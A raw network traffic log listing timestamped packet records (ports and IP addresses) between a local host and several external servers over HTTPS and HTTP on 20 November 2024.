Nov 20, 2024 18:57:40.618187904 CET	443	49813	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:40.721167088 CET	49818	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:40.721199989 CET	443	49818	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:40.721477985 CET	49818	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:40.721828938 CET	49818	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:40.721846104 CET	443	49818	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:40.753324032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:40.753386974 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:40.921340942 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:40.921442986 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:40.923181057 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:40.928004980 CET	49791	443	192.168.2.6	20.198.119.143
Nov 20, 2024 18:57:40.928036928 CET	443	49791	20.198.119.143	192.168.2.6
Nov 20, 2024 18:57:41.234620094 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.251117945 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.251135111 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.255283117 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.255369902 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.257884026 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.258104086 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.258616924 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.258630037 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.274437904 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.275547028 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.275563955 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.276938915 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.276945114 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.277028084 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.278481960 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.278501987 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.279443026 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.279520988 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.281181097 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.281311989 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.282752037 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.282871008 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.282879114 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.282891035 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.283477068 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.283489943 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.292911053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:41.310678959 CET	443	49804	2.16.158.88	192.168.2.6
Nov 20, 2024 18:57:41.313564062 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:41.313586950 CET	443	49804	2.16.158.88	192.168.2.6
Nov 20, 2024 18:57:41.315166950 CET	443	49804	2.16.158.88	192.168.2.6
Nov 20, 2024 18:57:41.315246105 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:41.316965103 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:41.317065001 CET	443	49804	2.16.158.88	192.168.2.6
Nov 20, 2024 18:57:41.326807976 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.332267046 CET	49797	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.332283974 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.332849979 CET	49797	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.332868099 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.333935976 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.334785938 CET	49799	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.334804058 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.335601091 CET	49799	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.335618019 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.345776081 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.396294117 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.396300077 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.413791895 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:41.449887037 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:41.449899912 CET	443	49804	2.16.158.88	192.168.2.6
Nov 20, 2024 18:57:41.495753050 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.496330023 CET	49798	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.496345997 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.497575045 CET	49798	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.497579098 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.504637003 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.505425930 CET	49800	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.505455017 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.506104946 CET	49800	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.506112099 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.507405043 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.509042025 CET	49801	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.509057999 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.509557009 CET	49801	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.509562969 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.641005993 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:41.695342064 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.695574999 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.696527958 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.696702957 CET	49809	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.696717978 CET	443	49809	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.721710920 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.721790075 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.721893072 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.722496986 CET	49806	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.722513914 CET	443	49806	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.723201036 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.723274946 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.723462105 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.723582029 CET	49807	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.723592997 CET	443	49807	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.755522966 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:41.755796909 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:41.755808115 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:41.756159067 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:41.756175041 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:41.756232977 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:41.756238937 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:41.756277084 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:41.756844997 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:41.758455992 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:41.758512020 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:41.758814096 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:41.758819103 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:41.803672075 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.803734064 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.803937912 CET	49797	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.804672003 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.804738998 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.804896116 CET	49799	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.816251040 CET	49797	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.816251040 CET	49797	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.816272020 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.816282034 CET	443	49797	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.818013906 CET	49799	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.818022013 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.818075895 CET	49799	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.818082094 CET	443	49799	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.822448969 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:41.823792934 CET	49820	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.823834896 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.824007034 CET	49820	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.829102039 CET	49821	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.829144955 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.829220057 CET	49821	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.830080032 CET	49820	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.830091953 CET	443	49820	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.830514908 CET	49821	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.830526114 CET	443	49821	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.914627075 CET	443	49812	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.914896965 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.914913893 CET	443	49812	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.916011095 CET	443	49812	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.916102886 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.916846991 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.916909933 CET	443	49812	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.917468071 CET	443	49813	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.917736053 CET	49813	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.917748928 CET	443	49813	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.918823957 CET	443	49813	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.918920040 CET	49813	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.919348955 CET	49813	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.919410944 CET	443	49813	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.919490099 CET	49813	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.919497013 CET	443	49813	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.949647903 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.949671984 CET	443	49812	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.949863911 CET	443	49812	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.949875116 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.949906111 CET	49812	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.952198029 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:41.952259064 CET	443	49804	2.16.158.88	192.168.2.6
Nov 20, 2024 18:57:41.952305079 CET	49804	443	192.168.2.6	2.16.158.88
Nov 20, 2024 18:57:41.953233957 CET	49818	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.953660965 CET	49822	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.953685999 CET	443	49822	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.953854084 CET	49822	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.955852032 CET	49822	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.955866098 CET	443	49822	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.956190109 CET	49823	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.956211090 CET	443	49823	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.956372976 CET	49824	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.956389904 CET	49823	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.956396103 CET	443	49824	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.956437111 CET	49824	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.956532001 CET	49825	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.956552029 CET	443	49825	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.956598997 CET	49825	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.956762075 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.956801891 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.956809998 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.956820965 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.956867933 CET	49798	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.956885099 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.957134008 CET	49824	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.957148075 CET	443	49824	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.957220078 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.957283974 CET	49823	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.957290888 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.957295895 CET	443	49823	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.957339048 CET	49800	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.957393885 CET	49825	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.957406044 CET	443	49825	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.957618952 CET	49826	443	192.168.2.6	172.64.41.3
Nov 20, 2024 18:57:41.957631111 CET	443	49826	172.64.41.3	192.168.2.6
Nov 20, 2024 18:57:41.958591938 CET	49813	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.958664894 CET	443	49813	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:41.958755016 CET	49813	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:41.959594965 CET	49798	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.959603071 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.959631920 CET	49798	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.959635973 CET	443	49798	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.960021973 CET	49800	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.960031986 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.960045099 CET	49800	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.960050106 CET	443	49800	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.963136911 CET	49827	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.963149071 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.963217020 CET	49827	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.979001999 CET	49828	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.979016066 CET	443	49828	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.979043007 CET	49827	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.979052067 CET	443	49827	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.979075909 CET	49828	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.979394913 CET	49828	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:41.979404926 CET	443	49828	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:41.995346069 CET	443	49818	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.019556046 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:42.019613028 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:42.019676924 CET	49801	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:42.019890070 CET	49801	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:42.019901991 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:42.019912958 CET	49801	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:42.019917965 CET	443	49801	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:42.022860050 CET	49829	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:42.022901058 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:42.022965908 CET	49829	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:42.023134947 CET	49829	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:42.023148060 CET	443	49829	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:42.116480112 CET	443	49818	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.116571903 CET	49818	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.258053064 CET	49830	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.258073092 CET	443	49830	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.258141041 CET	49830	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.258342981 CET	49831	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.258368015 CET	443	49831	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.258423090 CET	49831	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.258604050 CET	49830	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.258615017 CET	443	49830	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.259155035 CET	49831	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.259170055 CET	443	49831	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.270803928 CET	49832	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.270832062 CET	443	49832	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.270884037 CET	49832	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.271536112 CET	49833	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.271553993 CET	443	49833	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.271644115 CET	49833	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.271895885 CET	49834	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.271903992 CET	443	49834	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.271945000 CET	49834	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.272227049 CET	49835	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.272233963 CET	443	49835	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.272283077 CET	49835	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.272556067 CET	49833	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.272566080 CET	443	49833	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.272733927 CET	49832	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.272747993 CET	443	49832	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.272851944 CET	49834	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.272861004 CET	443	49834	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.272973061 CET	49835	443	192.168.2.6	162.159.61.3
Nov 20, 2024 18:57:42.272979021 CET	443	49835	162.159.61.3	192.168.2.6
Nov 20, 2024 18:57:42.274817944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:42.274929047 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:42.451620102 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.454607964 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.454770088 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.454786062 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.466604948 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.466712952 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.466741085 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.476641893 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.476716042 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.476742029 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.487622976 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.487759113 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.487792969 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.502151966 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.502223969 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.502249002 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.516948938 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.517168045 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.517195940 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.580854893 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.580950975 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.580969095 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.589576960 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.589991093 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.590012074 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.664854050 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.664927006 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.664967060 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.670145035 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.670202017 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.670228004 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.681708097 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.681756020 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.681776047 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.681798935 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.681860924 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.688446045 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.698637962 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.698698997 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.698725939 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.703330040 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.703383923 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.703399897 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.714234114 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.714292049 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.714302063 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.727154970 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.727206945 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.727215052 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.741462946 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.741799116 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.741805077 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.754470110 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.754518986 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.754524946 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.768182039 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.768256903 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.768264055 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.781510115 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.781584024 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.781591892 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.795161963 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.795253992 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.795259953 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.843717098 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.843766928 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.843774080 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.850364923 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.850413084 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.850418091 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.857706070 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.857765913 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.857770920 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.864985943 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.865041971 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.865048885 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.873859882 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.873914003 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.873923063 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.881613970 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.881665945 CET	49805	443	192.168.2.6	142.250.181.65
Nov 20, 2024 18:57:42.881671906 CET	443	49805	142.250.181.65	192.168.2.6
Nov 20, 2024 18:57:42.889662027 CET	443	49805	142.250.181.65	192.168.2.6
